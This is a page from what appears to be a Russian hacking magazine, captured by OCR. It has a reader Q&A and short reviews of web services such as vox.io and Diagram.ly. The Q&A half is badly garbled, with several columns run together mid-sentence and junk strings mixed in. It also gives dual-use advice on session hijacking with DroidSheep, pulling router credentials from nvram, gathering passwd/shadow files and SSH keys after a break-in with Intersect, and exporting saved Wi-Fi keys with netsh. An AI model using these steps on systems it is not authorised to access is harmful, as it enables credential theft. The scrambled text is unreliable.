Компания Adobe в рамках своего Помимо этого можно использо- В качестве удаленной JavaScript-
2 проекта Adobe Lab недавно опублико-
вала инструмент Adobe Shadow (labs.
3 вать удаленную JavaScript-консоль
(jsconsole.com) — правда, для этого
4 консоли также можно использовать
проект RemoteJS (bit.ly/wF63OE).
adobe.com/technologies/shadow). С помощью ее код придется предварительно вставить Проект имеет две версии: первая реализована
этого инструмента можно связать между собой в отлаживаемую страницу. При открытии стра- в виде GUU-приложения, вторая же написа-
браузер на компьютере (пока поддержива- ницы специальный сниппет будет стучаться на на на Python и работает в консоли. Правда,
ется только Chrome) и браузер на мобильном сервер и передавать отладочную информацию. в списке поддерживаемых мобильных плат-
устройстве (операция называется pairing). Процесс отладки соответственно осуществля- форм пока только Android. Зато этот вариант
Таким образом удается добиться синхронизи- ется через консоль. На сайте есть отличная рекомендуют разработчики Sencha — извест-
рованного серфинга и обновления просматри- инструкция (jsconsole.com/remote-debugging. ного фреймворка, реализующего интерфейс
ваемых страниц одновременно на компьютере html) о том, как выполняется удаленная от- мобильных приложений на HTML5.
и, к примеру, планшете. ладка.
Можно ли запустить утилиты для 2. Открыть меню «Debug» и выбрать там Подскажи: как максимально быстро
Q прослушивания беспроводного эфира «Command line...». Q можно собрать информацию о Linux-
и инъектирования произвольных пакетов 3. В консоли выполнить команду системе, к которой был получен доступ.
(например, aircrack-ng) под Android? «.pgmphystofile <filename>», указав, куда
именно нужно сохранить dump. Инструментов для постэксплуатации
На известном форуме xda-developers. A Linux-систем довольно много, в том
A com, где обитают разработчики Анализ в свою очередь можно осуще- числе и в публичном доступе.
кастомных прошивок и различных хаков для ствить с помощью известного фреймвор- Правда, надо иметь в виду, что подобные
мобильных устройств, есть несколько тем по ка Volatility (code.google.com/p/volatility). утилиты могут сливать полученную инфор-
тому, как можно внести необходимые патчи Есть также решения вроде Passware мацию «налево». Из функциональных тулз
в ядро Android и благодаря этому запустить (lostpassword.com/kit-forensic.htm), позво- можно выделить Intersect, полностью напи-
airodump и aircrack-ng (например, bit.ly/ ляющие извлечь из таких дампов различные санную на Python. Ничего сверхъестествен-
znrtiB). Однако, во-первых, предложенные пароли. ного она не делает, но упрощает массу задач,
действия — нетривиальны, а во-вторых, которые пришлось бы выполнять вручную.
подойдут не для любой платформы. Поэтому Есть точка доступа, пароль для Утилита соберет файлы с паролями (passwd,
если необходимо просто отснифать трафик Q которой устанавливал предыдущий shadow, gshadow, master.passwd), скопирует
в беспроводной сети, то можно воспользо- админ. Существует ли какой-нибудь способ SSH-ключи (открытые и секретные), со-
ваться связкой утилит DroidSheep восстановить пасс, кроме как найти этого берет информацию о запущенных процессах
(droidsheep.de) и Shark for Root (bit.ly/ самого админа? и установленных приложениях, вытащит
wpexhA). Первая, напомню, выполняет ARP историю Bash и задачи планировщика,
Spoofing и извлекает из эфира пользова- Универсального способа нет, и более просканирует внутреннюю сеть на «живые»
тельские сессии (например, для ВКонтакте). A того — очень часто это невозможно. хосты, попробует определить установленные
Вторая же позволяет сохранить перехвачен- Однако все сильно зависит от роутера в системе антивирусы и файрволы. Это лишь
ные данные в PCAP-формате, которые позже и прошивки, которая в нем используется. малая часть функционала.
можно проанализировать, например, Например, для ASUS WL-500gP пароль
с помощью Wireshark. вытащить удалось, в чем мне помог один пост Как вытащить ключи для безопасной
на форуме (wl500g.info). Для этого, правда, Q беспроводной сети, сохраненные
Как выполнить дамп оперативной пришлось скачать прошивку OpenWRT (в ней в Windows-системе?
Q памяти виртуальной машины, по умолчанию включен telnet) и загрузить
пригодный для последующего анализа? через механизм безопасного обновления Как вариант можно воспользоваться
firmware (необходимо отключить питание A утилитой вроде WirelessKeyView
В случае с VMware все проще простого: роутера, зажать кнопку «reset settings» (nirsoft.net/utils/wireless_key.html), которая
A для каждого snapshot’а, созданного и включить роутер, после чего тот получает без труда извлечет их из системы и расшиф-
для виртуальной машины, есть файл адрес 192.168.1.1 и позволяет залить прошивку рует. Но есть способ обойтись и без сторон-
с расширением .vmem — это и есть дамп через ftp). Весь секрет в том, что даже после них инструментов. Подсистема Windows
памяти. В случае с VirtualBox’ом можно перезагрузки предыдущие настройки Wireless Zero Configuration (та, которая
поступить следующим образом. остаются в nvram. Получается, что можно отвечает за беспроводные подключения)
залить новую прошивку, зайти с логином- хранит настройки подключения в профилях.
1. Запустить виртуальную машину через паролем по умолчанию и посмотреть предыду- Их список можно получить, набрав команду:
консоль с параметрами: щие настройки простой командой «nvram
show». Но, опять же, это лишь один конкрет- netsh wlan show profiles
VirtualBox --dbg --startvm <VM name> ный случай.
Любой профиль можно экспортировать,
чем мы и воспользуемся:
Free Audio Editor 2012 Windows Surface Scanner 2.20 Bluelog 1.0.2 >>MAC
mpTrim 2.13 codesensor Cathode 1.2.0
music2pc 2.12 >>UNIX DotDotPwn 3.0 Docker 1.6.7 _jdip_lcoç
Picasa 3.9 >Desktop DPScan Gruml 1.1 b_jguigh
SkypeAutoRecorder Bib2xhtml 3.0 FuzzOps-NG HyperDock 1.2 gledldoç
Songr 1.9.33 Blender 2.62 Fwknop 2.0 iZip Archiver 1.4 `gfldpkdlç
TagScanner 5.1.610 Brl-cad 7.20.4 Gnupg 2.0.18 KeyRemap4MacBook 7.5.0 gladpqmo
Tunatic 1.0.1b Ccextractor 0.60 Heimdal Mouse Server 2.6.9
WWW2
VOX.IO
vox.io
Похоже, что поиски достойной альтернативы Skype'у, которая не требовала бы уста-
новки десктопного клиента, успешно завершились. Vox.io работает через браузер и
позволяет бесплатно осуществлять видео- и голосовые звонки другим пользователям
сервиса, устраивать конференции с несколькими участниками и по вполне приемле-
мым ценам звонить на городские и мобильные телефоны. Чтобы позвонить на твой vox.
io-аккаунт не обязательно даже регистрироваться, — ты можешь расшарить специ-
альную ссылку, открыв которую, люди получат возможность быстро набрать твой
виртуальный номер. Кроме того, создатели сервиса активно занимаются разработкой
мобильных приложений для разных платформ, но пока релиз доступен только для iOS.
Skype в браузере
XMARKS
xmarks.com
Полезность этого сервиса для тебя определяется простым критерием: используешь
ли ты закладки? Xmarks умеет только одно — синхронизировать букмарки между ком-
пьютерами и разными браузерами (Firefox, Chrome, Internet Explorer и Safari), правда
для этого придется установить специальные расширения. Если заплатить неболь-
шую денежку (12$ в год), то можно синхронизировать закладки еще и с мобильными
устройствами. Тут стоит отметить, что инструменты реализованы очень качественно:
сразу чувствуется опыт разработчиков, в портфеле которых есть такой замечательный
сервис как менеджер паролей LastPass.
Грамотная синхронизация закладок
LOADS.IN
loads.in
Скорость работы сайта для пользователей из разных стран напрямую зависит от
географического расположения дата-центра, где находится хостинг. Чем дальше фи-
зически находится сервер, тем больше будет задержка при открытии сайта. Она может
быть и несущественной, но все равно чувствуется. Сервис loads.in позволяет прове-
рить скорость загрузки произвольного ресурса из самых разных точек мира. Причем
инструмент помимо сетевой задержки учитывает еще и время рендеринга страницы
браузером: можно сравнить замеры для Firefox, Chrome, Safari, Internet Explorer. К тому
же есть возможность посмотреть, как выглядел загружаемый сайт в каждый момент
загрузки - в виде последовательности скриншотов.
Бенчмарк для замера производительности сайта
DIAGRAMLY
Diagram.ly
Этот сервис будет далеко не первым среди онлайн-инструментов для создания раз-
личных диаграмм и схем, но что его отличает от многих других — так это максимальная
схожесть с известным Microsoft Visio. Это почти полная копия. Порой даже забываешь,
что имеешь дело не с обычной программой, а с онлайн-сервисом — настолько здоро-
во реализован интерфейс. Diagramly — настоящий must have на случай, если нужно
создать схему или иллюстрацию для курсовой или дипломной работы, статьи в журнале
или поста в блоге. Блок-схемы, диаграммы баз данных, схемы локальных сетей, схемы
электрических цепей — всего в базе Diagramly более 70 категорий элементов.
Редактор схем и диаграмм